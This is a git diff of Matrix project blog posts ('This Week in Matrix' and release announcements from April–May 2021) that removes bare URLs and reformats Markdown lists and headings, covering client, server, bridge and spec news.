Synapse 1.32 includes an experimental implementation of [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083). diff --git a/content/blog/2021/04/2021-04-23-this-week-in-matrix-2021-04-23.md b/content/blog/2021/04/2021-04-23-this-week-in-matrix-2021-04-23.md index 07078dab6..2781ad1f0 100644 --- a/content/blog/2021/04/2021-04-23-this-week-in-matrix-2021-04-23.md +++ b/content/blog/2021/04/2021-04-23-this-week-in-matrix-2021-04-23.md @@ -23,7 +23,7 @@ image = "https://matrix.org/blog/img/2021-04-23-AAetC-konheko-sailfish-on-floati [Jonathan](https://matrix.to/#/@jboi:jboi.nl) noticed: > The `matrix:` URI scheme has just been officially accepted (safelisted) into the HTML standard! 🚀 -> > https://github.com/whatwg/html/pull/6320 +> > [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) said: @@ -31,7 +31,7 @@ image = "https://matrix.org/blog/img/2021-04-23-AAetC-konheko-sailfish-on-floati > > You are probably familiar with `mailto:user@example.com` or `tel:+1-555-438-3732`. The former is usually used to open an email address in your mail client, while the latter is used for phone numbers. This allows applications to register themselves as a handler for it, like for example GMail or Thunderbird, and your browser and other applications can find them and tell them to open an editor or similar, with that identifier as the target. There are also a lot of other applications that have similar schemes like Telegram, Zoom and more. > -> In Matrix you have similar identifiers, most notably users (@user:example.org) and rooms ([#room:example.org](https://matrix.to/#/#room:example.org)). The matrix URI scheme now allows you to open such identifiers in your favourite Matrix clients. You can now just click on matrix:u/user:example.org or matrix:r/room:example.org and start chatting with the user or join the room. (There is a bit more to it, you actually need an action after the identifier for it, otherwise it will just open the user profile or show the room, if you are joined to it, but that is the idea. For more details, check https://github.com/matrix-org/matrix-doc/blob/master/proposals/2312-matrix-uri.md ) +> In Matrix you have similar identifiers, most notably users (@user:example.org) and rooms ([#room:example.org](https://matrix.to/#/#room:example.org)). The matrix URI scheme now allows you to open such identifiers in your favourite Matrix clients. You can now just click on matrix:u/user:example.org or matrix:r/room:example.org and start chatting with the user or join the room. (There is a bit more to it, you actually need an action after the identifier for it, otherwise it will just open the user profile or show the room, if you are joined to it, but that is the idea. For more details, check ) > > As you can see the format of the matrix: scheme is a bit different that standard Matrix identifiers. This is mostly because they need to start with `scheme:`, where `scheme` is different depending on the application, but some characters are also treated differently in URIs, which is why the matrix scheme decided to avoid them where possible. > @@ -46,14 +46,13 @@ image = "https://matrix.org/blog/img/2021-04-23-AAetC-konheko-sailfish-on-floati > For web clients like Element to be able to open matrix: URIs, a few more things need to happen. > > 1. Browsers need to implement the HTML standard change and allow web apps to register the Matrix scheme. -> -> * Status in Firefox: https://bugzilla.mozilla.org/show_bug.cgi?id=1688030 -> * Status in Chrome(ium): https://bugs.chromium.org/p/chromium/issues/detail?id=1169258 +> Status in Firefox: +> Status in Chrome(ium): > > 2. Web clients need to actually implement handling `matrix:` URIs. -> * Tracking issue for Element: https://github.com/vector-im/element-web/issues/16875 +> Tracking issue for Element: > -> You may be wondering about matrix.to, which was used to share matrix identifiers before. In the long term matrix URIs will probably replace it. Watch the next few TWIMs to find out what happens and/or subscribe to the following issues: https://github.com/matrix-org/matrix.to/issues/191 https://github.com/matrix-org/matrix.to/issues/192 +> You may be wondering about matrix.to, which was used to share matrix identifiers before. In the long term matrix URIs will probably replace it. Watch the next few TWIMs to find out what happens and/or subscribe to the following issues: > > #### Closing words > @@ -63,7 +62,7 @@ And it gets better... [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) offered: -> MayeulC spotted, that Mozilla now safelisted the `matrix:` scheme in Firefox: https://bugzilla.mozilla.org/show_bug.cgi?id=1688030#c15 +> MayeulC spotted, that Mozilla now safelisted the `matrix:` scheme in Firefox: > > Expect this to land around Firefox 90 probably. > @@ -83,7 +82,7 @@ Thanks to everyone involved! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -106,8 +105,6 @@ Thanks to everyone involved! > > We're also slowly inching towards a new release with a new [spec-wide versioning scheme](https://github.com/matrix-org/matrix-doc/pull/2844), as well as completing the move of the old documentation from matrix.org/docs/spec to spec.matrix.org. Slowly but surely. - - ![2021-04-23-hRN19-stacked_area_chart.png](/blog/img/2021-04-23-hRN19-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -120,7 +117,7 @@ Thanks to everyone involved! > v1.2.7 is out as a **highly recommended security update**. This release fixes a memory exhaustion issue regarding thumbnails, known as [CVE-2021-29453](https://github.com/turt2live/matrix-media-repo/security/advisories/GHSA-j889-h476-hh9h). > -> See https://github.com/turt2live/matrix-media-repo/releases/tag/v1.2.7 for more details, and visit #media-repo:t2bot.io on Matrix for questions and support. +> See for more details, and visit #media-repo:t2bot.io on Matrix for questions and support. ### Synapse @@ -154,7 +151,7 @@ and then ## Dept of Bridges 🌉 -### The matrix.org gitter bridge is no more, long live gitter.im! +### The matrix.org gitter bridge is no more, long live gitter.im [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) announced: @@ -189,43 +186,43 @@ and then [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) reported: -> It's my pleasure to announce, that our testers didn't find the bugs I added and as such [version 0.8.2](https://github.com/Nheko-Reborn/nheko/releases/tag/v0.8.2) is out now! The changes are too much to fit in a TWIM, so you can read the changelog here: https://github.com/Nheko-Reborn/nheko/blob/master/CHANGELOG.md +> It's my pleasure to announce, that our testers didn't find the bugs I added and as such [version 0.8.2](https://github.com/Nheko-Reborn/nheko/releases/tag/v0.8.2) is out now! The changes are too much to fit in a TWIM, so you can read the changelog here: > > Thank you to all the contributors, that made this release possible! (Check the changelog! So many new faces!) > -> #### Highlights from this release: +> #### Highlights from this release > > * Edits ✏ > -> * If you made a typo, just press the `Up` key and edit what you wrote. -> * Messages other users edited will get updated automatically and have a small pen symbol next to them. +> * If you made a typo, just press the `Up` key and edit what you wrote. +> * Messages other users edited will get updated automatically and have a small pen symbol next to them. > > * Privacy Screen 👁 > -> * Blur your messages, when Nheko looses focus, which prevents others from +> * Blur your messages, when Nheko looses focus, which prevents others from > peeking at your messages. > -> * You can configure the timeout of when this happens. +> * You can configure the timeout of when this happens. > > * Improved notifications ‼ (contributed by lorendb) > -> * No more breakage, because the message included a > on KDE based DEs. -> * Render html and images where possible in the notification. +> * No more breakage, because the message included a > on KDE based DEs. +> * Render html and images where possible in the notification. > -> * Render if a message is a reply or someone sent an emote message more nicely +> * Render if a message is a reply or someone sent an emote message more nicely > where possible. > -> * Encrypted notifications now show, that the content is encrypted instead of +> * Encrypted notifications now show, that the content is encrypted instead of > being empty. > > * Screenshare support in calls on X11 📺 (contributed by trilene) > -> * Share your screen in a call! -> * Select if your mouse cursor should be shown or not and if your webcam should be included. +> * Share your screen in a call! +> * Select if your mouse cursor should be shown or not and if your webcam should be included. > > * SEND MESSAGES AS RAINBOWS! 🌈 (contributed by LordMZTE) > -> * YES MESSAGES, EMOTES AND NOTICES! +> * YES MESSAGES, EMOTES AND NOTICES! > > I hope you'll have a wonderful time with this release and if you find any bugs, bug us in [#nheko:nheko.im](https://matrix.to/#/#nheko:nheko.im) or open an issue on our [bug tracker](https://github.com/Nheko-Reborn/nheko/issues)! @@ -256,36 +253,38 @@ and then ### Element Clients + **Delight, a project to improve the Element experience** -* On Spaces, we’ve been continuing to implement [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) on the Web, Android & Synapse, while also iterating on iOS. -* Expect an announcement on more Spaces testing soon! +* On Spaces, we’ve been continuing to implement [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) on the Web, Android & Synapse, while also iterating on iOS. +* Expect an announcement on more Spaces testing soon! + **Web** -* 1.7.26-rc.1 on staging - * Added persistence of unsent messages across app restart - * Improved room list filtering performance - * Improved the image detail view -* 1.7.26 planned for release on Monday +* 1.7.26-rc.1 on staging + * Added persistence of unsent messages across app restart + * Improved room list filtering performance + * Improved the image detail view +* 1.7.26 planned for release on Monday + **iOS** +* The new room screen UI has been released (1.3.4) on the App Store. It contains several improvements and bug fixes. One major bug fix is encryption keys that failed to be shared between the notification service and the app. +* 1.3.5 has been submitted to the app store. It contains another bug fix about encryption where the app failed to share new keys to all members of a room +* Full story at: [https://github.com/vector-im/element-ios/releases](https://github.com/vector-im/element-ios/releases) - -* The new room screen UI has been released (1.3.4) on the App Store. It contains several improvements and bug fixes. One major bug fix is encryption keys that failed to be shared between the notification service and the app. -* 1.3.5 has been submitted to the app store. It contains another bug fix about encryption where the app failed to share new keys to all members of a room -* Full story at: [https://github.com/vector-im/element-ios/releases](https://github.com/vector-im/element-ios/releases) - + **Android** -* 1.1.6 version has been released, fixing several issues reported with 1.1.5. +* 1.1.6 version has been released, fixing several issues reported with 1.1.5. ### Konheko [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) said: -> I released version 0.0.5 of my Sailfish client: https://openrepos.net/content/deepbluev7/konheko +> I released version 0.0.5 of my Sailfish client: > > It adds an about page and more importantly fixes a bug where closing the window would not relaunch the app via the task icon! Shout out to Rudi Timmermans, who made the about page and is now working on some further design improvements! Small release, since I was working on Nheko most of the time, but I hope I can add persistence and E2EE soon to it! @@ -299,7 +298,7 @@ Even in the movie they take a break to read TWIM! ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) offered: @@ -319,7 +318,7 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > > remove this annotation :P): > -> 1. Supported encrypted attachments. https://lily.kazv.moe/kazv/libkazv/-/merge_requests/5 +> 1. Supported encrypted attachments. ### Ruma @@ -346,42 +345,42 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > * [@jplatte] did lots of refactorings, reviewing of PRs and being helpful :D > > -> [@iinuwa]: https://github.com/iinuwa +> [@iinuwa](https://github.com/iinuwa) > -> [@DevinR528]: https://github.com/DevinR528 -> [@gnieto]: https://github.com/gnieto +> [@DevinR528](https://github.com/DevinR528) +> [@gnieto](https://github.com/gnieto) > -> [@elegaanz]: https://github.com/elegaanz -> [@poljar]: https://github.com/poljar +> [@elegaanz](https://github.com/elegaanz) +> [@poljar](https://github.com/poljar) > -> [@auscompgeek]: https://github.com/auscompgeek -> [@lanker]: https://github.com/lanker +> [@auscompgeek](https://github.com/auscompgeek) +> [@lanker](https://github.com/lanker) > -> [@V02460]: https://github.com/V02460 -> [@iinuwa]: https://github.com/iinuwa +> [@V02460](https://github.com/V02460) +> [@iinuwa](https://github.com/iinuwa) > -> [@DevinR528]: https://github.com/DevinR528 -> [@tilosp]: https://github.com/tilosp +> [@DevinR528](https://github.com/DevinR528) +> [@tilosp](https://github.com/tilosp) > -> [@NerdyPepper]: https://github.com/NerdyPepper -> [@jamtwister]: https://github.com/jamtwister +> [@NerdyPepper](https://github.com/NerdyPepper) +> [@jamtwister](https://github.com/jamtwister) > -> [@florianjacob]: https://github.com/florianjacob -> [@jsparber]: https://github.com/jsparber +> [@florianjacob](https://github.com/florianjacob) +> [@jsparber](https://github.com/jsparber) > -> [@unseddd]: https://github.com/unseddd -> [@PunitLodha]: https://github.com/PunitLodha +> [@unseddd](https://github.com/unseddd) +> [@PunitLodha](https://github.com/PunitLodha) > -> [@timokoesters]: https://github.com/timokoesters -> [@zecakeh]: https://github.com/zecakeh +> [@timokoesters](https://github.com/timokoesters) +> [@zecakeh](https://github.com/zecakeh) > -> [@Frinksy]: https://github.com/Frinksy -> [@louisdewar]: https://github.com/louisdewar +> [@Frinksy](https://github.com/Frinksy) +> [@louisdewar](https://github.com/louisdewar) > -> [@abhikjain360]: https://github.com/abhikjain360 -> [@johannescpk]: https://github.com/johannescpk +> [@abhikjain360](https://github.com/abhikjain360) +> [@johannescpk](https://github.com/johannescpk) > -> [@jplatte]: https://github.com/jplatte +> [@jplatte](https://github.com/jplatte) ## Dept of Interesting Projects 🛰️ @@ -420,7 +419,7 @@ A minimal Matrix chat client, focused on performance, offline functionality, and [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) told us: -> https://grafana.nordgedanken.dev/d/HDVgeCXGk/matrix-server-stats?orgId=1&refresh=15m&var-server_name=All&from=now-1h&to=now (Warning big dashboard) +> (Warning big dashboard) > > This dashboard is a small experiment on what metadata you can get from matrix without any auth. > @@ -437,11 +436,12 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > Used under the hood is a small rust script doing all the heavy lifting of many thousand requests each five minutes (around 2-3 per server currently). > > The data is cached mostly in RAM as well as being written to a influxdb oss 2.x which allows for the grafana integration. +> > #### More information > > If you want to opt out feel free to block requests with the "MTRNord/server_stats" User-Agent. > -> You can find the source code at https://git.nordgedanken.dev/MTRNord/server_stats +> You can find the source code at Very cool! Reminder to also check out this [set of graphs showing Synapse versions over time](https://graph.settgast.org/d/z1nplqXik/matrix?orgId=1) from [Chris](https://matrix.to/#/@chris:settgast.org). @@ -453,13 +453,14 @@ Warning! ## Final Thoughts 💭 -Several people shared this *spicy* article from fellow encrypted-messenger purveyors Signal: https://signal.org/blog/cellebrite-vulnerabilities/ +Several people shared this *spicy* article from fellow encrypted-messenger purveyors Signal: ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -476,6 +477,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|kittenface.studio|2412| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/04/2021-04-30-this-week-in-matrix-2021-04-30.md b/content/blog/2021/04/2021-04-30-this-week-in-matrix-2021-04-30.md index 4a6fb90e5..3b705debc 100644 --- a/content/blog/2021/04/2021-04-30-this-week-in-matrix-2021-04-30.md +++ b/content/blog/2021/04/2021-04-30-this-week-in-matrix-2021-04-30.md @@ -24,7 +24,7 @@ Matthew presents the MSC process! [Get slides here](/docs/DemystifyingMSCs.pdf). > The German IT platform Heise has conducted an interview with the university of Innsbruck which chose Matrix/Element over Microsoft Teams. Reasons: it's free, decentralized/federated, expandable and secure. > -> https://www.heise.de/news/Zusammenarbeit-MS-Teams-als-Lockangebot-in-eine-geschlossene-Microsoft-Umgebung-6030514.html +> "free, decentralized/federated, expandable and secure" sounds like a great set of reasons! @@ -36,14 +36,13 @@ Heise article, naturally, is in German. Element have [some content in English di [Nico](https://matrix.to/#/@deepbluev7:neko.dev) offered: -> Btw if anyone wanted to hear Krille and me live, we are live at the linux lounge now. It's in GERMAN! https://theradio.cc/blog/category/shownotes/linuxlounge/ +> Btw if anyone wanted to hear Krille and me live, we are live at the linux lounge now. It's in GERMAN! Exciting! Possibly. For the lucky few who can understand it anyway! [Lazalatin](https://matrix.to/#/@lazalatin:kif.rocks) added: - -> If anyone did miss the opportunity to listen to the live stream: Here you can find the recording, with show notes, as well: https://rec.theradio.cc/item/ll244/ +> If anyone did miss the opportunity to listen to the live stream: Here you can find the recording, with show notes, as well: > We were happy to have Krille and Nico with us. 🥳 > (website in german as well as the stream recording) @@ -55,17 +54,17 @@ Exciting! Possibly. For the lucky few who can understand it anyway! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) offered: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > > **New MSCs:** > -> * _There were no new MSCs created this week._ +> * *There were no new MSCs created this week.* > > **MSCs with proposed Final Comment Period:** > -> * _No MSCs entered proposed FCP state this week._ +> * *No MSCs entered proposed FCP state this week.* > > **MSCs in Final Comment Period:** > @@ -97,7 +96,7 @@ Exciting! Possibly. For the lucky few who can understand it anyway! > > Thanks for reading! -Also - knocking is now published to the unstable spec, check it out at: https://spec.matrix.org/unstable/client-server-api/#knocking-on-rooms +Also - knocking is now published to the unstable spec, check it out at: ![2021-04-30-iLQCH-stacked_area_chart.png](/blog/img/2021-04-30-iLQCH-stacked_area_chart.png) @@ -109,9 +108,9 @@ Also - knocking is now published to the unstable spec, check it out at: https:// > We've just released the first public P2P Matrix demo using the experimental Pinecone protocol. There are builds available for Android right now and iOS is following shortly via Testflight as soon as it passes Apple's beta review: > -> * Android 10+: https://appdistribution.firebase.dev/i/394600067ea8ba37 +> * Android 10+: > -> * iOS: https://testflight.apple.com/join/Tgh2MEk6 (wait for build 73!) +> * iOS: (wait for build 73!) > > If you enable the static peer in the peer-to-peer settings, you can join us in the `#beachparty:3bf0258d23c60952639cc4c69c71d1508a7d43a0475d9000ff900a1848411ec7` room! > @@ -123,7 +122,7 @@ Also - knocking is now published to the unstable spec, check it out at: https:// ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) said: @@ -152,7 +151,7 @@ Synapse is a popular homeserver written in Python. ![2021-04-30-akzM5-Screenshotfrom2021-04-2918-33-43.png](/blog/img/2021-04-30-akzM5-Screenshotfrom2021-04-2918-33-43.png) -> At a first pass, we're aiming to significantly reduce the initial spikiness of that graph, and we _think_ [#9910](https://github.com/matrix-org/synapse/pull/9910) will help with the subsequent slow ramp up in memory. +> At a first pass, we're aiming to significantly reduce the initial spikiness of that graph, and we *think* [#9910](https://github.com/matrix-org/synapse/pull/9910) will help with the subsequent slow ramp up in memory. > > We've also been discussing how to balance our relatively rapid release cadence with managing low severity security issues. If you have any thoughts, preferences, or relevant experiences to share, please [comment here](https://github.com/matrix-org/synapse/discussions/9914)! @@ -162,9 +161,9 @@ Synapse is a popular homeserver written in Python. [hifi](https://matrix.to/#/@hifi:vi.fi) said: -> Announcing a new bouncer style Matrix IRC bridge to _bridge_ the gap between IRC and Matrix in a way that's easy to configure and manage by homeserver administrators for small scale deployment. +> Announcing a new bouncer style Matrix IRC bridge to *bridge* the gap between IRC and Matrix in a way that's easy to configure and manage by homeserver administrators for small scale deployment. > -> Meet Heisenbridge https://github.com/hifi/heisenbridge 🥳 (it's a Breaking Bad reference 🤦) +> Meet Heisenbridge 🥳 (it's a Breaking Bad reference 🤦) > > It's written in Python and started off as an experiment if it's possible to create a somewhat well performing stateless IRC bridge that's practically almost zero configuration. It quickly found a use case of being able to join !channels on IRCnet that hasn't been possible in the past. > @@ -176,8 +175,6 @@ Synapse is a popular homeserver written in Python. > > Thanks! - - ### matrix-puppeteer-line updated [Fair](https://matrix.to/#/@fair:miscworks.net) offered: @@ -188,16 +185,16 @@ Synapse is a popular homeserver written in Python. > > * Inbound read receipts! But with a view caveats: > -> * Receipts are only fetched for the "most recently active" room. -> * Example: if you send a message in room A, then room B, receipts will only be fetched for room B and not room A, until you (or someone else, from LINE) posts in room A. +> * Receipts are only fetched for the "most recently active" room. +> * Example: if you send a message in room A, then room B, receipts will only be fetched for room B and not room A, until you (or someone else, from LINE) posts in room A. > -> * This will be fixed in the next update. I have an idea for some Puppeteer trickery to get it working. -> * Read receipts in group chats are bridged as annotations (reactions) instead of "real" read receipts, until all members of the chat have read a message. +> * This will be fixed in the next update. I have an idea for some Puppeteer trickery to get it working. +> * Read receipts in group chats are bridged as annotations (reactions) instead of "real" read receipts, until all members of the chat have read a message. > -> * This is because LINE's read receipts for group chats don't tell show _who_ read a message, but only _how many_ people a message was read by. -> * To capture this in Matrix, instead of sending read receipts for a group chat message, the bridge puts a reaction of "Read by #" on it, with "#" matching how many people read the message so far. Once everyone in the chat has read a message, the reaction is removed and a "real" receipt is sent for all users. +> * This is because LINE's read receipts for group chats don't tell show *who* read a message, but only *how many* people a message was read by. +> * To capture this in Matrix, instead of sending read receipts for a group chat message, the bridge puts a reaction of "Read by #" on it, with "#" matching how many people read the message so far. Once everyone in the chat has read a message, the reaction is removed and a "real" receipt is sent for all users. > -> * Internal changes to message syncing that should hopefully make inbound messages more reliable, or the very least improve code maintenance. +> * Internal changes to message syncing that should hopefully make inbound messages more reliable, or the very least improve code maintenance. > > Discussion: > @@ -223,8 +220,6 @@ Synapse is a popular homeserver written in Python. > > That's all, and keep on c(h)atting! <3 - - ![2021-04-30-zKbR8-nheko-message-fwd.png](/blog/img/2021-04-30-zKbR8-nheko-message-fwd.png) ### NeoChat @@ -233,8 +228,6 @@ Synapse is a popular homeserver written in Python. > We rewrote the room managing code moving it from QML to C++ and unify how we manage rooms in NeoChat. This allowed us to support the matrix-URIs scheme, making it possible to open rooms and show user information when clicking on a matrix: link in your browser. Sverin Saji improved the look of the typing indicator and Jan Blackquill improved the keyboard navigation. - - ![2021-04-30-JcL3Q-image.png](/blog/img/2021-04-30-JcL3Q-image.png) ### Watch The Matrix @@ -245,7 +238,7 @@ Synapse is a popular homeserver written in Python. > This week I published the first public build on TestFlight: > -> https://testflight.apple.com/join/a06n3gN4 +> > > There are a few reports of issues when signing in which I'm looking into. A few other changes include: > @@ -266,36 +259,44 @@ Synapse is a popular homeserver written in Python. Updates from the teams. + **Delight** -- We’ve been maturing and iterating on [MSC1772](https://github.com/vector-im/element-web/issues/15930) in anticipating of wider testing of Spaces in the near future -- On Web, we’ve been iterating on designs & implementations for a beta, including tweaking filtering to display rooms from all Spaces -- On Android, we’ve been doing the same, and have merged the initial Spaces implementation onto develop -- On Synapse, we’ve been implementing restricting rooms based on the Space Summary API +* We’ve been maturing and iterating on [MSC1772](https://github.com/vector-im/element-web/issues/15930) in anticipating of wider testing of Spaces in the near future +* On Web, we’ve been iterating on designs & implementations for a beta, including tweaking filtering to display rooms from all Spaces +* On Android, we’ve been doing the same, and have merged the initial Spaces implementation onto develop +* On Synapse, we’ve been implementing restricting rooms based on the Space Summary API + + **Web** -- 1.7.26 released on Monday - - Added persistence of unsent messages across app restart - - Improved room list filtering performance - - Improved the image detail view -- On develop - - Element Desktop is now [available for localisation](https://translate.element.io/projects/element-desktop/element-desktop/) in Weblate -- In progress - - Improving room join UX, ensuring you can get back to a room when it finally joins - - [Converting more files to TypeScript](https://arewetsyet.bit.ovh/), including key modules like EventTile and friends +* 1.7.26 released on Monday + * Added persistence of unsent messages across app restart + * Improved room list filtering performance + * Improved the image detail view +* On develop + * Element Desktop is now [available for localisation](https://translate.element.io/projects/element-desktop/element-desktop/) in Weblate +* In progress + * Improving room join UX, ensuring you can get back to a room when it finally joins + * [Converting more files to TypeScript](https://arewetsyet.bit.ovh/), including key modules like EventTile and friends + + **iOS** -- 1.3.5 has been published to the App Store on Monday. -- We have been polishing the new VoIP design this week. It should be merged into develop early next week and released in the App Store the week after. -- We want to focus on code quality. We set up GitHub actions in our 3 repos. They run both unit tests and integration tests. We need to fix some of our 600+ tests in the SDK but we now have a CI able to complain about test failures. +* 1.3.5 has been published to the App Store on Monday. +* We have been polishing the new VoIP design this week. It should be merged into develop early next week and released in the App Store the week after. +* We want to focus on code quality. We set up GitHub actions in our 3 repos. They run both unit tests and integration tests. We need to fix some of our 600+ tests in the SDK but we now have a CI able to complain about test failures. + + **Android** -- The Spaces have landed on Element Android, on the develop branch. We are working to stabilize the feature before the release in beta next week. -- In parallel, we are working to stabilize the whole application, and provide a better support on Android 11. -- Also it will be possible in the next release to compress video before sending, which is a very expected feature. + +* The Spaces have landed on Element Android, on the develop branch. We are working to stabilize the feature before the release in beta next week. +* In parallel, we are working to stabilize the whole application, and provide a better support on Android 11. +* Also it will be possible in the next release to compress video before sending, which is a very expected feature. ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) said: @@ -331,18 +332,18 @@ If you spend any amount of time with Bruno, eventually the topic of sourdough wi > > It's based on the amazing spantaleev/matrix-docker-ansible-deploy with additional stuff like system security hardening and maintenance > -> Announcements: [#announcements:etke.cc](https://matrix.to/#/#announcements:etke.cc) +> Announcements: [#announcements:etke.cc](https://matrix.to/#/#announcements:etke.cc) > -> Source: https://gitlab.com/rakshazi/matrix-ansible/ +> Source: > It contains basic security stuff like ufw and fail2ban, system maintenance like updating packages, cleanup of old logs and docker images, configuration of swap, some additions like absurdly simply healthcheck page and website deployment to base domain. Documentation may be found in readme files for each role -### GoMatrixHosting v0.4.5 is here! +### GoMatrixHosting v0.4.5 is here [Michael](https://matrix.to/#/@michael:perthchat.org) said: > GoMatrixHosting v0.4.5 is here! > -> https://gitlab.com/GoMatrixHosting +> > > The FLOSS Matrix hosting system built on AWX, it enables you to manage multiple Matrix servers for many clients in both a commercial or non-commercial context. We are currently doing a free giveaway of on-premises server plans, if you're an experienced user or Matrix admin you can receive a free on-premises subscription and hopefully provide us with some feedback. > @@ -363,19 +364,22 @@ GoMatrixHosting was previously Oasis Hosting - looks like they're making great p > The Bot is simply existing to do the same task as Matrix Traveler (bot) already did for years now. It joins rooms, listens for an alias, tries to join it. > > The main difference between these 2 bots is that my bot also searches for aliases in old messages. +> > #### What does it save? > > It only saves the relations between rooms. This means it knows which room was posted where. It doesn't know who posted it, when it was posted, why it was posted or any other content of messages. > > However due to matrix' nature it does need to get the data once onto a synapse to read trough it. This means it has the data on my synapse. (Running in helsinki at hetzner). +> > #### What can I do if I do not want it? > > The easiest way is to just ban it. It will fully forget that room. > > Kicking works too but it might again join if it gets found again. +> > #### Where is the source? > -> The source code is available at https://git.nordgedanken.dev/MTRNord/server_stats/-/blob/main/src/bot/mod.rs +> The source code is available at > > For further questions feel free to join #server_stats:nordgedanken.dev > @@ -386,6 +390,7 @@ GoMatrixHosting was previously Oasis Hosting - looks like they're making great p Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -402,6 +407,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|chatcloud.net|2311| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/05/2021-05-05-synapse-1-33-0-released.md b/content/blog/2021/05/2021-05-05-synapse-1-33-0-released.md index a8412c1ec..7592f3bee 100644 --- a/content/blog/2021/05/2021-05-05-synapse-1-33-0-released.md +++ b/content/blog/2021/05/2021-05-05-synapse-1-33-0-released.md @@ -26,4 +26,3 @@ See the [Upgrading Instructions](https://github.com/matrix-org/synapse/blob/v1.3 ### Thank You Synapse is a Free and Open Source Software project, and we'd like to extend our thanks to everyone who contributed to this release, including [rkfg](https://github.com/rkfg), and [ShadowJonathan](https://github.com/ShadowJonathan). - diff --git a/content/blog/2021/05/2021-05-06-introducing-the-pinecone-overlay-network.md b/content/blog/2021/05/2021-05-06-introducing-the-pinecone-overlay-network.md index 1c9889bb9..7fcc90317 100644 --- a/content/blog/2021/05/2021-05-06-introducing-the-pinecone-overlay-network.md +++ b/content/blog/2021/05/2021-05-06-introducing-the-pinecone-overlay-network.md @@ -26,8 +26,8 @@ If Pinecone works out, our intention is to collaborate with the libp2p and IPFS Today we're releasing the source code for our current early implementation of Pinecone — you can [get it from GitHub](https://github.com/matrix-org/pinecone) right now! It's very experimental still and not very well optimised yet, but it is the foundation of our latest mobile P2P Matrix demos, which support P2P Matrix over both **Bluetooth Low Energy** mesh networks, **multicast DNS** discovery within a LAN, and/or by routing through **static Pinecone peers** on the Internet: -* Android: https://appdistribution.firebase.dev/i/394600067ea8ba37 -* iOS: https://testflight.apple.com/join/Tgh2MEk6 +* Android: +* iOS: Building a routing overlay is only the first step in the journey towards P2P Matrix. We will also be looking closely in the coming months at improving the Matrix federation protocol to work well in mixed-connectivity scenarios (rather than the full mesh approach used today) as well as decentralised identities, hybrid deployments with existing homeservers and getting Dendrite (the Matrix homeserver which is embedded into the current P2P demos) more stable and feature-complete. diff --git a/content/blog/2021/05/2021-05-07-this-week-in-matrix-2021-05-07.md b/content/blog/2021/05/2021-05-07-this-week-in-matrix-2021-05-07.md index 3c5c8185d..9fac99ff6 100644 --- a/content/blog/2021/05/2021-05-07-this-week-in-matrix-2021-05-07.md +++ b/content/blog/2021/05/2021-05-07-this-week-in-matrix-2021-05-07.md @@ -20,15 +20,15 @@ image = "https://matrix.org/blog/img/2021-05-07-jh7X9-image.png" [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) announced: -> The first iteration of visually representing the data gathered by Server Stats Discoverer (traveler bot) is now publicly available at https://serverstats.nordgedanken.dev/ +> The first iteration of visually representing the data gathered by 